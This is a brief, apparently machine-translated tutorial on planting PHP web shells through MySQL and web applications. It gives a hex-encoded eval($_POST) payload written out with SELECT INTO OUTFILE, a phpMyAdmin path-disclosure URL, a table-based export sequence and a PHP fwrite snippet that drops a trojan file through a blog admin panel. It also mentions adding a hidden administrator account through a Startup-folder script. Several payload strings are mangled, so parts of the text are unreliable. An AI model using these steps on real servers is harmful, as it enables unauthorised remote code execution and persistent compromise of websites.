Take Php+mysql.

In the MySQL operation, enter select 0x3c3f6576616c28245f504f53545b615d293b3f3e from Mysql.user to outfile ' path ' to get a <?eval ($_post[ A]);? > The smallest horse ' 0x3c3f6576616c28245f504f53545b615d293b3f3e is our <?eval ($_post[a]);? > Hex, this method is more common to phpMyAdmin, the first use of phpMyAdmin path leak vulnerability, more typical is http://url/phpmyadmin/libraries/select_lang.lib.php.

Can be out of the path, PHP environment is more prone to burst out absolute path:). One thing to mention is that the encounter is MySQL under the win system path should be written d:\\wwwroot\\a.php. The following method is a common method of exporting Webshell, you can also write a VBS add system administrator's script to export to the Startup folder, the system will be re-added an administrator account

CREATE TABLE A (cmd text not NULL)
INSERT into a (cmd) VALUES (' ")?
Select cmd from A to outfile ' path/b.php '
DROP TABLE IF EXISTS A
Accessing b.php will generate a the smallest horse.
If you encounter the ability to execute PHP commands is much simpler, the typical representative is Bo-blog, in the background of the PHP command box to enter the following code:
?
$sa = fopen ("./up/saiy.php", "w");
Fwrite ($sa, " ");
Fclose ($SA);
? >

will be generated in the up directory file named saiy.php content of the smallest PHP trojan, finally connected with Lanker client. In practice, consider whether the folder has write permissions. or enter such code ")? > will generate a a.php minimum horse in the current directory.

